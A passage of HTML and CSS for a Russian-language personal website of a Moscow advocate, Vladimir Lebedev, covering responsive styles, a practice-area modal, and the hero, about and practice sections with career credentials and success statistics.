top: 2.2rem;\n            left: 12.5%;\n            right: 12.5%;\n            height: 1px;\n            background: linear-gradient(90deg, transparent, var(--gold), var(--gold), transparent);\n            opacity: .4;\n        }\n\n        .process-step {\n            padding: 0 2rem;\n            text-align: center;\n        }\n\n        .step-num {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 3rem;\n            font-weight: 300;\n            color: var(--gold);\n            display: block;\n            line-height: 1;\n            margin-bottom: 1.8rem;\n            position: relative;\n        }\n\n        .step-num::after {\n            content: '';\n            position: absolute;\n            bottom: -8px;\n            left: 50%;\n            transform: translateX(-50%);\n            width: 6px;\n            height: 6px;\n            border-radius: 50%;\n            background: var(--gold);\n        }\n\n        .step-name {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.3rem;\n            font-weight: 500;\n            color: white;\n            margin-bottom: .8rem;\n        }\n\n        .step-desc {\n            font-size: .95rem;\n            line-height: 1.75;\n            color: rgba(255, 255, 255, .5);\n        }\n\n        /* ─── TESTIMONIALS ─── */\n        #testimonials {\n            background: var(--off-white);\n            position: relative;\n            overflow: hidden;\n        }\n\n        .testimonials-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 2rem;\n            margin-top: 4rem;\n        }\n\n        .testimonial-card {\n            background: white;\n            border: 1px solid var(--border);\n            padding: 2.8rem 2.4rem;\n            position: relative;\n            transition: box-shadow .35s, transform .35s;\n        }\n\n        .testimonial-card:hover {\n            box-shadow: 0 20px 60px rgba(201, 168, 76, .1);\n            transform: translateY(-4px);\n        }\n\n        .testimonial-stars {\n            display: flex;\n            gap: .3rem;\n            margin-bottom: 1.6rem;\n        }\n\n        .testimonial-stars svg {\n            color: var(--gold);\n        }\n\n        .testimonial-text {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.2rem;\n            font-style: italic;\n            line-height: 1.7;\n            color: var(--text);\n            margin-bottom: 2rem;\n        }\n\n        .testimonial-text::before {\n            content: '\\201C';\n            font-size: 3.5rem;\n            color: var(--gold);\n            line-height: 0;\n            vertical-align: -.5em;\n            margin-right: .1em;\n            font-style: normal;\n        }\n\n        .testimonial-author {\n            display: flex;\n            align-items: center;\n            gap: 1rem;\n            border-top: 1px solid var(--border);\n            padding-top: 1.4rem;\n        }\n\n        .author-avatar {\n            width: 42px;\n            height: 42px;\n            border-radius: 50%;\n            background: linear-gradient(135deg, var(--gold), var(--gold-dark));\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.1rem;\n            color: white;\n            font-weight: 600;\n            flex-shrink: 0;\n        }\n\n        .author-name {\n            font-size: 1rem;\n            font-weight: 500;\n            color: var(--text);\n        }\n\n        .author-role {\n            font-size: .85rem;\n            color: var(--text-muted);\n            margin-top: .15rem;\n        }\n\n        /* ─── CONTACT ─── */\n        #contact {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 6rem;\n            align-items: start;\n        }\n\n        .contact-info .section-title {\n            margin-bottom: .8rem;\n        }\n\n        .contact-desc {\n            font-size: 1.05rem;\n            line-height: 1.85;\n            color: var(--text-muted);\n            margin-bottom: 3rem;\n        }\n\n        .contact-items {\n            display: flex;\n            flex-direction: column;\n            gap: 1.5rem;\n        }\n\n        .contact-item {\n            display: flex;\n            align-items: flex-start;\n            gap: 1.2rem;\n        }\n\n        .contact-icon {\n            width: 44px;\n            height: 44px;\n            flex-shrink: 0;\n            border: 1px solid var(--border);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            color: var(--gold);\n        }\n\n        .contact-item-label {\n            font-size: .82rem;\n            letter-spacing: .12em;\n            text-transform: uppercase;\n            color: var(--text-muted);\n            margin-bottom: .3rem;\n        }\n\n        .contact-item-val {\n            font-size: 1.05rem;\n            color: var(--text);\n            text-decoration: none;\n            transition: color .3s;\n        }\n\n        .contact-item-val:hover {\n            color: var(--gold);\n        }\n\n        .contact-form {\n            display: flex;\n            flex-direction: column;\n            gap: 1.2rem;\n        }\n\n        .form-row {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 1.2rem;\n        }\n\n        .form-group {\n            display: flex;\n            flex-direction: column;\n            gap: .5rem;\n        }\n\n        .form-label {\n            font-size: .82rem;\n            letter-spacing: .12em;\n            text-transform: uppercase;\n            color: var(--text-muted);\n        }\n\n        .form-input,\n        .form-textarea {\n            background: var(--off-white);\n            border: 1px solid var(--border);\n            padding: .9rem 1.1rem;\n            font-family: 'Inter', sans-serif;\n            font-size: 1rem;\n            color: var(--text);\n            outline: none;\n            transition: border-color .3s;\n            resize: none;\n        }\n\n        .form-input:focus,\n        .form-textarea:focus {\n            border-color: var(--gold);\n        }\n\n        .form-textarea {\n            min-height: 130px;\n        }\n\n        .form-submit {\n            display: inline-flex;\n            align-items: center;\n            gap: .8rem;\n            align-self: flex-start;\n            background: var(--gold);\n            border: none;\n            font-family: 'Inter', sans-serif;\n            font-size: .88rem;\n            letter-spacing: .12em;\n            text-transform: uppercase;\n            color: white;\n            padding: 1rem 2.4rem;\n            transition: background .35s, transform .25s;\n        }\n\n        .form-submit:hover {\n            background: var(--gold-dark);\n            transform: translateY(-2px);\n        }\n\n        .form-submit svg {\n            transition: transform .3s;\n        }\n\n        .form-submit:hover svg {\n            transform: translateX(4px);\n        }\n\n        /* ─── FOOTER ─── */\n        footer {\n            background: var(--text);\n            color: rgba(255, 255, 255, .35);\n            padding: 3rem 8vw;\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n        }\n\n        .footer-logo {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.1rem;\n            font-weight: 500;\n            letter-spacing: .08em;\n            color: rgba(255, 255, 255, .7);\n        }\n\n        .footer-logo span {\n            color: var(--gold);\n        }\n\n        footer p {\n            font-size: .88rem;\n        }\n\n        /* ─── REVEAL ─── */\n        .reveal {\n            opacity: 0;\n            transform: translateY(32px);\n            transition: opacity .8s cubic-bezier(.4, 0, .2, 1), transform .8s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .reveal.visible {\n            opacity: 1;\n            transform: translateY(0);\n        }\n\n        .reveal-delay-1 {\n            transition-delay: .1s;\n        }\n\n        .reveal-delay-2 {\n            transition-delay: .2s;\n        }\n\n        .reveal-delay-3 {\n            transition-delay: .3s;\n        }\n\n        /* ══════ RESPONSIVE — полный каскад ══════ */\n\n        /* 1280px: широкий ноутбук */\n        @media (max-width: 1280px) {\n            .hero-left {\n                padding: 5rem 3vw 3rem 6vw;\n            }\n\n            .photo-circle-wrap {\n                width: 300px;\n                height: 300px;\n            }\n\n            #about {\n                gap: 4rem;\n            }\n\n            #contact {\n                gap: 4rem;\n            }\n\n            .testimonials-grid {\n                gap: 1.5rem;\n            }\n        }\n\n        /* 1024px: iPad landscape / маленький ноутбук */\n        @media (max-width: 1024px) {\n            section {\n                padding: 6rem 7vw;\n            }\n\n            .hero-name {\n                font-size: clamp(3rem, 5vw, 4.6rem);\n            }\n\n            .photo-circle-wrap {\n                width: 260px;\n                height: 260px;\n            }\n\n            .practice-header {\n                gap: 2.5rem;\n            }\n\n            .process-grid {\n                grid-template-columns: 1fr 1fr;\n                gap: 3rem;\n            }\n\n            .process-grid::before {\n                display: none;\n            }\n\n            .testimonials-grid {\n                grid-template-columns: 1fr 1fr;\n            }\n\n            #about {\n                gap: 3.5rem;\n            }\n\n            #contact {\n                gap: 3.5rem;\n            }\n\n            footer {\n                flex-direction: column;\n                align-items: flex-start;\n                gap: .6rem;\n            }\n        }\n\n        /* 900px: iPad portrait / большой телефон */\n        @media (max-width: 900px) {\n            section {\n                padding: 5.5rem 7vw;\n            }\n\n            #hero {\n                grid-template-columns: 1fr;\n                height: auto;\n                min-height: unset;\n                overflow: visible;\n                padding-top: 68px;\n            }\n\n            .hero-right {\n                display: flex;\n                justify-content: center;\n                padding: 2rem 0 1.5rem;\n                order: -1;\n            }\n\n            .hero-right .hero-img-wrap,\n            .hero-right .photo-circle-wrap {\n                width: 190px;\n                height: 190px;\n                overflow: hidden;\n                border-radius: 50%;\n                will-change: transform;\n                transform: translateZ(0);\n            }\n\n            .hero-right .hero-photo {\n                border-radius: 0;\n                filter: none;\n                position: static;\n                z-index: auto;\n            }\n\n            .hero-right .photo-ring,\n            .hero-right .photo-ring-1,\n            .hero-right .photo-ring-2,\n            .hero-right .photo-ring-3,\n            .hero-right .photo-ring-4 {\n                display: none;\n            }\n\n            .hero-right .hero-img-wrap svg {\n                display: none;\n            }\n\n            .hero-left {\n                justify-content: flex-start;\n                padding: 0 6vw 3rem;\n            }\n\n            #about {\n                grid-template-columns: 1fr;\n                gap: 3rem;\n            }\n\n            .practice-header {\n                grid-template-columns: 1fr;\n                gap: 1.5rem;\n                margin-bottom: 2.5rem;\n            }\n\n            .practice-grid {\n                grid-template-columns: 1fr 1fr;\n            }\n\n            .process-grid {\n                grid-template-columns: 1fr 1fr;\n                gap: 2.5rem;\n            }\n\n            .process-grid::before {\n                display: none;\n            }\n\n            .testimonials-grid {\n                grid-template-columns: 1fr;\n            }\n\n            #contact {\n                grid-template-columns: 1fr;\n                gap: 3rem;\n            }\n\n            .form-row {\n                grid-template-columns: 1fr;\n            }\n\n            nav .nav-links {\n                display: none;\n            }\n\n            nav .nav-cta {\n                display: none;\n            }\n\n            footer {\n                flex-direction: column;\n                align-items: flex-start;\n                gap: .6rem;\n                padding: 2rem 6vw;\n            }\n        }\n\n        /* 768px: средний телефон landscape */\n        @media (max-width: 768px) {\n            section {\n                padding: 5rem 6vw;\n            }\n\n            .hero-name {\n                font-size: clamp(2.8rem, 8.5vw, 3.8rem);\n            }\n\n            .hero-title {\n                font-size: 1.1rem;\n            }\n\n            .hero-stats {\n                gap: 2rem;\n            }\n\n            .testimonial-card {\n                padding: 2rem 1.8rem;\n            }\n\n            .process-step {\n                padding: 0 1rem;\n            }\n\n            .step-num {\n                font-size: 2.4rem;\n            }\n\n            .cert-card {\n                padding: 1.4rem 1.6rem;\n            }\n        }\n\n        /* 600px: телефон portrait */\n        @media (max-width: 600px) {\n            section {\n                padding: 4.5rem 5.5vw;\n            }\n\n            .hero-name {\n                font-size: clamp(2.4rem, 8vw, 3.2rem);\n            }\n\n            .hero-stats {\n                gap: 1.6rem;\n                flex-wrap: wrap;\n            }\n\n            .stat-val {\n                font-size: 2.4rem;\n            }\n\n            .practice-grid {\n                grid-template-columns: 1fr;\n            }\n\n            .process-grid {\n                grid-template-columns: 1fr;\n                gap: 2.5rem;\n            }\n\n            .testimonials-grid {\n                gap: 1.2rem;\n            }\n\n            .section-title {\n                font-size: clamp(2.2rem, 7vw, 3rem);\n            }\n\n            footer {\n                padding: 2rem 5.5vw;\n                font-size: .82rem;\n            }\n        }\n\n        /* 480px: маленький телефон */\n        @media (max-width: 480px) {\n            section {\n                padding: 4rem 5vw;\n            }\n\n            nav {\n                padding: 0 5vw;\n            }\n\n            .hero-name {\n                font-size: clamp(2.2rem, 8vw, 2.8rem);\n            }\n\n            .hero-desc {\n                font-size: .95rem;\n            }\n\n            .hero-actions {\n                flex-direction: column;\n                align-items: flex-start;\n                gap: .85rem;\n            }\n\n            .hero-stats {\n                gap: 1.2rem;\n            }\n\n            .stat-val {\n                font-size: 2.1rem;\n            }\n\n            .about-quote p {\n                font-size: 1.1rem;\n            }\n\n            .testimonial-text {\n                font-size: 1.05rem;\n            }\n\n            .process-step {\n                padding: 0;\n                text-align: left;\n            }\n\n            .step-num {\n                font-size: 2.2rem;\n                margin-bottom: 1.2rem;\n            }\n\n            .step-num::after {\n                left: 0;\n                transform: none;\n            }\n\n            .contact-icon {\n                width: 38px;\n                height: 38px;\n            }\n        }\n\n        /* 375px: iPhone 12 mini / SE */\n        @media (max-width: 375px) {\n            section {\n                padding: 3.5rem 5vw;\n            }\n\n            .hero-right .hero-img-wrap,\n            .hero-right .photo-circle-wrap {\n                width: 140px;\n                height: 140px;\n            }\n\n            .hero-name {\n                font-size: clamp(2rem, 9vw, 2.6rem);\n            }\n\n            .hero-title {\n                font-size: .95rem;\n                letter-spacing: .04em;\n            }\n\n            .hero-desc {\n                font-size: .88rem;\n                line-height: 1.7;\n            }\n\n            .hero-stats {\n                gap: 1rem;\n            }\n\n            .stat-val {\n                font-size: 1.9rem;\n            }\n\n            .stat-label {\n                font-size: .72rem;\n            }\n\n            .btn-primary {\n                padding: .85rem 1.5rem;\n                font-size: .8rem;\n                width: 100%;\n                text-align: center;\n                justify-content: center;\n            }\n\n            .btn-ghost {\n                font-size: .8rem;\n            }\n\n            .section-title {\n                font-size: clamp(1.9rem, 9vw, 2.4rem);\n            }\n\n            .about-quote {\n                padding: 1rem 1rem 1rem 1.4rem;\n            }\n\n            .about-quote p {\n                font-size: 1rem;\n            }\n\n            .testimonial-card {\n                padding: 1.6rem 1.4rem;\n            }\n\n            .testimonial-text {\n                font-size: 1rem;\n            }\n\n            .form-submit {\n                width: 100%;\n                justify-content: center;\n            }\n\n            footer {\n                padding: 1.8rem 5vw;\n            }\n        }\n\n        /* 320px: iPhone 4/5, очень узкие экраны */\n        @media (max-width: 320px) {\n            section {\n                padding: 3rem 4.5vw;\n            }\n\n            .hero-right .hero-img-wrap,\n            .hero-right .photo-circle-wrap {\n                width: 110px;\n                height: 110px;\n            }\n\n            .hero-name {\n                font-size: 1.9rem;\n            }\n\n            .hero-title {\n                font-size: .88rem;\n            }\n\n            .hero-stats {\n                flex-direction: column;\n                gap: .8rem;\n            }\n\n            .stat-val {\n                font-size: 1.7rem;\n            }\n\n            .section-title {\n                font-size: 1.8rem;\n            }\n\n            .nav-logo {\n                font-size: 1.1rem;\n            }\n\n            .cert-card {\n                padding: 1.2rem;\n            }\n\n            .cert-name {\n                font-size: 1.05rem;\n            }\n\n            .practice-card {\n                padding: 1.8rem 1.4rem;\n            }\n\n            .practice-num {\n                font-size: 2.2rem;\n            }\n\n            .contact-item-val {\n                font-size: .95rem;\n            }\n        }\n\n        /* ─── PRACTICE MODAL ─── */\n        .pmodal-overlay {\n            position: fixed;\n            inset: 0;\n            background: rgba(14, 12, 8, 0.80);\n            backdrop-filter: blur(8px);\n            -webkit-backdrop-filter: blur(8px);\n            z-index: 10000;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            padding: 1.5rem;\n            opacity: 0;\n            pointer-events: none;\n            transition: opacity .4s ease;\n        }\n\n        .pmodal-overlay.active {\n            opacity: 1;\n            pointer-events: all;\n        }\n\n        .pmodal-box {\n            background: var(--white);\n            max-width: 600px;\n            width: 100%;\n            max-height: 88vh;\n            overflow-y: auto;\n            position: relative;\n            /* золотая полоска слева + тень */\n            border-left: 3px solid var(--gold);\n            box-shadow:\n                0 40px 100px rgba(14, 12, 8, 0.55),\n                0 0 0 1px rgba(201, 168, 76, 0.12),\n                inset 3px 0 24px -16px rgba(201, 168, 76, 0.18);\n            padding: 3.5rem 3.2rem 3rem 3.5rem;\n            transform: translateY(28px) scale(.98);\n            transition: transform .4s cubic-bezier(.22, .68, 0, 1.1);\n            scrollbar-width: none;\n        }\n\n        .pmodal-box::before {\n            /* декоративный золотой уголок вправо-снизу */\n            content: '';\n            position: absolute;\n            bottom: 2.2rem;\n            right: 2.4rem;\n            width: 64px;\n            height: 64px;\n            border-right: 1.5px solid rgba(201, 168, 76, .22);\n            border-bottom: 1.5px solid rgba(201, 168, 76, .22);\n            pointer-events: none;\n        }\n\n        .pmodal-overlay.active .pmodal-box {\n            transform: translateY(0) scale(1);\n        }\n\n        .pmodal-close {\n            position: absolute;\n            top: 1.5rem;\n            right: 1.8rem;\n            background: none;\n            border: none;\n            outline: none;\n            padding: 0;\n            width: 32px;\n            height: 32px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            color: rgba(201, 168, 76, .45);\n            transition: color .2s;\n        }\n\n        .pmodal-close:hover {\n            color: var(--gold);\n        }\n\n        .pmodal-close svg {\n            display: block;\n        }\n\n        .pmodal-num {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 3.8rem;\n            font-weight: 300;\n            color: rgba(201, 168, 76, .13);\n            line-height: .9;\n            user-select: none;\n            margin-bottom: .4rem;\n            letter-spacing: -.02em;\n        }\n\n        .pmodal-title {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 2.15rem;\n            font-weight: 500;\n            color: var(--text);\n            margin-bottom: 1rem;\n            line-height: 1.15;\n            letter-spacing: -.01em;\n        }\n\n        .pmodal-line {\n            width: 40px;\n            height: 1px;\n            background: linear-gradient(90deg, var(--gold), transparent);\n            margin-bottom: 1.2rem;\n        }\n\n        .pmodal-intro {\n            font-size: .93rem;\n            line-height: 1.75;\n            color: var(--text-muted);\n            margin-bottom: 1.2rem;\n            padding-bottom: 1.2rem;\n            border-bottom: 1px solid var(--border);\n        }\n\n        .pmodal-list {\n            list-style: none;\n            display: flex;\n            flex-direction: column;\n            gap: 0;\n            margin-bottom: 2rem;\n        }\n\n        .pmodal-list li {\n            font-size: .875rem;\n            line-height: 1.55;\n            color: var(--text);\n            padding: .7rem 0 .7rem 1.6rem;\n            border-bottom: 1px solid var(--border);\n            position: relative;\n        }\n\n        .pmodal-list li:first-child {\n            border-top: none;\n        }\n\n        .pmodal-list li::before {\n            content: '';\n            position: absolute;\n            left: 0;\n            top: 50%;\n            transform: translateY(-50%);\n            width: 18px;\n            height: 1px;\n            background: var(--gold);\n        }\n\n        .pmodal-box::-webkit-scrollbar {\n            display: none;\n        }\n\n        .pmodal-cta {\n            display: inline-flex;\n        }\n\n        @media (max-width: 600px) {\n            .pmodal-box {\n                padding: 2.4rem 1.8rem 2.4rem 2rem;\n            }\n\n            .pmodal-num {\n                font-size: 3.5rem;\n            }\n\n            .pmodal-title {\n                font-size: 1.7rem;\n            }\n        }\n    </style>\n</head>\n\n<body>\n\n    <!-- Custom cursor -->\n    <div class=\"cursor\" id=\"cursor\"></div>\n    <div class=\"cursor-ring\" id=\"cursorRing\"></div>\n    <!-- cursor elements stay, JS now moves both in sync -->\n\n    <!-- ─── NAV ─── -->\n    <nav id=\"navbar\">\n        <a href=\"#hero\" class=\"nav-logo\">Ю<span>.</span>Лебедев</a>\n        <ul class=\"nav-links\">\n            <li><a href=\"#about\">Об адвокате</a></li>\n            <li><a href=\"#practice\">Практика</a></li>\n            <li><a href=\"#process\">Процесс</a></li>\n            <li><a href=\"#testimonials\">Отзывы</a></li>\n        </ul>\n        <a href=\"#contact\" class=\"nav-cta\">Консультация</a>\n    </nav>\n\n    <!-- ─── HERO ─── -->\n    <section id=\"hero\">\n        <!-- Decorative SVG ornaments -->\n        <svg class=\"ornament\" style=\"top:8%;left:3%;opacity:.18;width:120px\" viewBox=\"0 0 120 120\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n            <path d=\"M60 4 L60 116 M4 60 L116 60\" stroke=\"#C9A84C\" stroke-width=\".8\" />\n            <path d=\"M60 4 L116 60 L60 116 L4 60 Z\" stroke=\"#C9A84C\" stroke-width=\".8\" />\n            <circle cx=\"60\" cy=\"60\" r=\"28\" stroke=\"#C9A84C\" stroke-width=\".8\" />\n            <circle cx=\"60\" cy=\"60\" r=\"14\" stroke=\"#C9A84C\" stroke-width=\".8\" stroke-dasharray=\"3 3\" />\n            <path d=\"M60 32 L68 48 L86 52 L74 64 L76 82 L60 74 L44 82 L46 64 L34 52 L52 48 Z\" stroke=\"#C9A84C\" stroke-width=\".7\" fill=\"none\" />\n        </svg>\n        <svg class=\"ornament\" style=\"bottom:12%;right:55%;opacity:.12;width:80px;transform:rotate(22deg)\" viewBox=\"0 0 80 80\" fill=\"none\">\n            <rect x=\"4\" y=\"4\" width=\"72\" height=\"72\" stroke=\"#C9A84C\" stroke-width=\".8\" />\n            <rect x=\"16\" y=\"16\" width=\"48\" height=\"48\" stroke=\"#C9A84C\" stroke-width=\".8\" transform=\"rotate(45 40 40)\" />\n            <circle cx=\"40\" cy=\"40\" r=\"10\" stroke=\"#C9A84C\" stroke-width=\".8\" />\n        </svg>\n\n        <div class=\"hero-left\">\n            <div class=\"hero-eyebrow reveal\">Адвокат · Москва</div>\n            <h1 class=\"hero-name reveal reveal-delay-1\">\n                Владимир<br><em>Лебедев</em>\n            </h1>\n            <p class=\"hero-title reveal reveal-delay-1\">Защита прав. Результат.</p>\n            <p class=\"hero-desc reveal reveal-delay-2\">\n                Профессиональная юридическая помощь по&nbsp;сложным делам.\n                Индивидуальный подход, глубокая экспертиза и&nbsp;бескомпромиссная\n                защита интересов клиента на&nbsp;каждом этапе.\n            </p>\n            <div class=\"hero-actions reveal reveal-delay-2\">\n                <a href=\"#contact\" class=\"btn-primary\">Записаться на приём</a>\n                <a href=\"#practice\" class=\"btn-ghost\">\n                    Практика\n                    <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                        <path d=\"M3 8h10M9 4l4 4-4 4\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linecap=\"round\" />\n                    </svg>\n                </a>\n            </div>\n            <div class=\"hero-stats reveal reveal-delay-3\">\n                <div>\n                    <div class=\"stat-val\" data-count=\"18\">0</div>\n                    <div class=\"stat-label\">Лет практики</div>\n                </div>\n                <div>\n                    <div class=\"stat-val\" data-count=\"430\">0</div>\n                    <div class=\"stat-label\">Выигранных дел</div>\n                </div>\n                <div>\n                    <div class=\"stat-val\" data-count=\"97\">0</div>\n                    <div class=\"stat-label\">% успеха</div>\n                </div>\n            </div>\n        </div>\n\n        <div class=\"hero-right\">\n            <div class=\"hero-img-wrap\">\n                <div class=\"photo-circle-wrap\">\n                    <!-- ornamental rings -->\n                    <div class=\"photo-ring photo-ring-4\"></div>\n                    <div class=\"photo-ring photo-ring-3\"></div>\n                    <div class=\"photo-ring photo-ring-2\"></div>\n                    <div class=\"photo-ring photo-ring-1\"></div>\n                    <!-- gold compass dots -->\n                    <svg style=\"position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:calc(100% + 22px);height:calc(100% + 22px);z-index:5;border-radius:50%;overflow:visible;pointer-events:none\" viewBox=\"0 0 362 362\" fill=\"none\">\n                        <circle cx=\"181\" cy=\"181\" r=\"180\" stroke=\"none\" />\n                        <circle cx=\"181\" cy=\"1\" r=\"5\" fill=\"#C9A84C\" />\n                        <circle cx=\"181\" cy=\"361\" r=\"5\" fill=\"#C9A84C\" />\n                        <circle cx=\"1\" cy=\"181\" r=\"5\" fill=\"#C9A84C\" />\n                        <circle cx=\"361\" cy=\"181\" r=\"5\" fill=\"#C9A84C\" />\n                        <circle cx=\"52\" cy=\"52\" r=\"3\" fill=\"#C9A84C\" opacity=\".6\" />\n                        <circle cx=\"310\" cy=\"52\" r=\"3\" fill=\"#C9A84C\" opacity=\".6\" />\n                        <circle cx=\"52\" cy=\"310\" r=\"3\" fill=\"#C9A84C\" opacity=\".6\" />\n                        <circle cx=\"310\" cy=\"310\" r=\"3\" fill=\"#C9A84C\" opacity=\".6\" />\n                    </svg>\n                    <!-- photo -->\n                    <img src=\"me.png\" alt=\"Владимир Лебедев\" class=\"hero-photo\" id=\"heroPhoto\" onerror=\"this.style.display='none';document.getElementById('photoFallback').style.display='flex'\">\n                    <div id=\"photoFallback\" class=\"photo-fallback\" style=\"display:none\">\n                        <svg width=\"64\" height=\"64\" viewBox=\"0 0 64 64\" fill=\"none\">\n                            <circle cx=\"32\" cy=\"24\" r=\"12\" stroke=\"#C9A84C\" stroke-width=\"1.2\" />\n                            <path d=\"M8 56c0-13.255 10.745-24 24-24s24 10.745 24 24\" stroke=\"#C9A84C\" stroke-width=\"1.2\" />\n                        </svg>\n                        <span style=\"font-family:'Cormorant Garamond',serif;font-size:1.1rem;color:#9A7830;letter-spacing:.1em\">Ю. Лебедев</span>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ─── ABOUT ─── -->\n    <section id=\"about\">\n        <div class=\"about-text\">\n            <p class=\"section-label reveal\">Об адвокате</p>\n            <h2 class=\"section-title reveal\">\n                Экспертиза,<br>закалённая<br><em>опытом</em>\n            </h2>\n            <p class=\"about-text-p reveal\" style=\"font-size:.92rem;line-height:1.9;color:var(--text-muted);margin-bottom:1.3rem\">\n                Владимир Лебедев — адвокат с восемнадцатилетним опытом в&nbsp;области\n                гражданского, корпоративного и&nbsp;уголовного права.\n                Член Адвокатской палаты города&nbsp;Москвы.\n            </p>\n            <p class=\"about-text-p reveal\" style=\"font-size:.92rem;line-height:1.9;color:var(--text-muted);margin-bottom:1.3rem\">\n                Специализируется на&nbsp;сложных многоэпизодных делах,\n                защите бизнеса и&nbsp;арбитражных спорах.\n                Работает как с&nbsp;физическими лицами, так и&nbsp;с&nbsp;крупными\n                корпоративными клиентами.\n            </p>\n            <div class=\"about-quote reveal\">\n                <p>«Право — это инструмент. Мастерство адвоката определяет,\n                    в&nbsp;чьих интересах оно будет применено.»</p>\n            </div>\n        </div>\n        <div class=\"about-visual\">\n            <div class=\"cert-card reveal\">\n                <div class=\"cert-year\">2006</div>\n                <div class=\"cert-name\">Московский государственный юридический университет</div>\n                <div class=\"cert-institution\">Диплом с отличием · Гражданское право</div>\n            </div>\n            <div class=\"cert-card reveal reveal-delay-1\">\n                <div class=\"cert-year\">2009</div>\n                <div class=\"cert-name\">Адвокатская палата Москвы</div>\n                <div class=\"cert-institution\">Статус адвоката · Реестровый №77/4821</div>\n            </div>\n            <div class=\"cert-card reveal reveal-delay-2\">\n                <div class=\"cert-year\">2014</div>\n                <div class=\"cert-name\">London School of Economics</div>\n                <div class=\"cert-institution\">International Commercial Arbitration · Certificate</div>\n            </div>\n            <div class=\"cert-card reveal reveal-delay-3\">\n                <div class=\"cert-year\">2020</div>\n                <div class=\"cert-name\">Топ-100 адвокатов России</div>\n                <div class=\"cert-institution\">Рейтинг «Право.ру» · Корпоративные споры</div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ─── PRACTICE AREAS ─── -->\n    <section id=\"practice\">\n        <div class=\"practice-header\">\n            <div>\n                <p class=\"section-label reveal\">Направления</p>\n                <h2 class=\"section-title reveal\">Области <em>практики</em></h2>\n            </div>\n            <p class=\"practice-intro reveal\">\n                Каждое дело требует индивидуальной стратегии.\n                Глубокая специализация позволяет достигать результата\n                там, где другие останавливаются.\n            </p>\n        </div>\n\n        <div class=\"practice-grid reveal\">\n            <div class=\"practice-card\">\n                <div class=\"practice-num\">01</div>\n                <svg class=\"practice-icon\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M24 4L44 14V26C44 36.5 34.9 43.8 24 46C13.1 43.8 4 36.5 4 26V14L24 4Z\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                    <path d=\"M16 24l6 6 10-12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                </svg>\n                <div class=\"practice-name\">Уголовная защита</div>\n                <p class=\"practice-desc\">Защита на&nbsp;стадии следствия и&nbsp;в&nbsp;суде. Обжалование приговоров. Дела об&nbsp;экономических преступлениях.</p>\n                <button class=\"practice-arrow\" data-modal=\"1\">Подробнее <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                        <path d=\"M2 7h10M8 3l4 4-4 4\" stroke=\"currentColor\" stroke-width=\"1.1\" stroke-linecap=\"round\" />\n                    </svg></button>\n            </div>\n\n            <div class=\"practice-card\">\n                <div class=\"practice-num\">02</div>\n                <svg class=\"practice-icon\" viewBox=\"0 0 48 48\" fill=\"none\">\n                    <rect x=\"8\" y=\"10\" width=\"32\" height=\"28\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                    <path d=\"M16 20h16M16 26h10\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                    <path d=\"M24 4v6M16 4l-4 6M32 4l4 6\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"round\" />\n                </svg>\n                <div class=\"practice-name\">Корпоративное право</div>\n                <p class=\"practice-desc\">Сопровождение сделок M&A, корпоративные конфликты, защита акционеров и&nbsp;участников ООО.</p>\n                <button class=\"practice-arrow\" data-modal=\"2\">Подробнее <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                        <path d=\"M2 7h10M8 3l4 4-4 4\" stroke=\"currentColor\" stroke-width=\"1.1\" stroke-linecap=\"round\" />\n                    </svg></button>\n            </div>\n\n            <div class=\"practice-card\">\n                <div class=\"practice-num\">03</div>\n                <svg class=\"practice-icon\" viewBox=\"0 0 48 48\" fill=\"none\">\n                    <path d=\"M24 6 C14 16 6 20 6 30 C6 38 14 44 24 44 C34 44 42 38 42 30 C42 20 34 16 24 6Z\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                    <path d=\"M24 18v12M18 30h12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                </svg>\n                <div class=\"practice-name\">Арбитраж</div>\n                <p class=\"practice-desc\">Международный и&nbsp;внутренний арбитраж, представление интересов в&nbsp;арбитражных судах всех уровней.</p>\n                <button class=\"practice-arrow\" data-modal=\"3\">Подробнее <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                        <path d=\"M2 7h10M8 3l4 4-4 4\" stroke=\"currentColor\" stroke-width=\"1.1\" stroke-linecap=\"round\" />\n                    </svg></button>\n            </div>\n\n            <div class=\"practice-card\">\n                <div class=\"practice-num\">04</div>\n                <svg class=\"practice-icon\" viewBox=\"0 0 48 48\" fill=\"none\">\n                    <circle cx=\"24\" cy=\"24\" r=\"18\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                    <path d=\"M12 24h24M24 12v24\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"round\" />\n                    <path d=\"M16.5 14.5C16.5 14.5 20 20 24 24C28 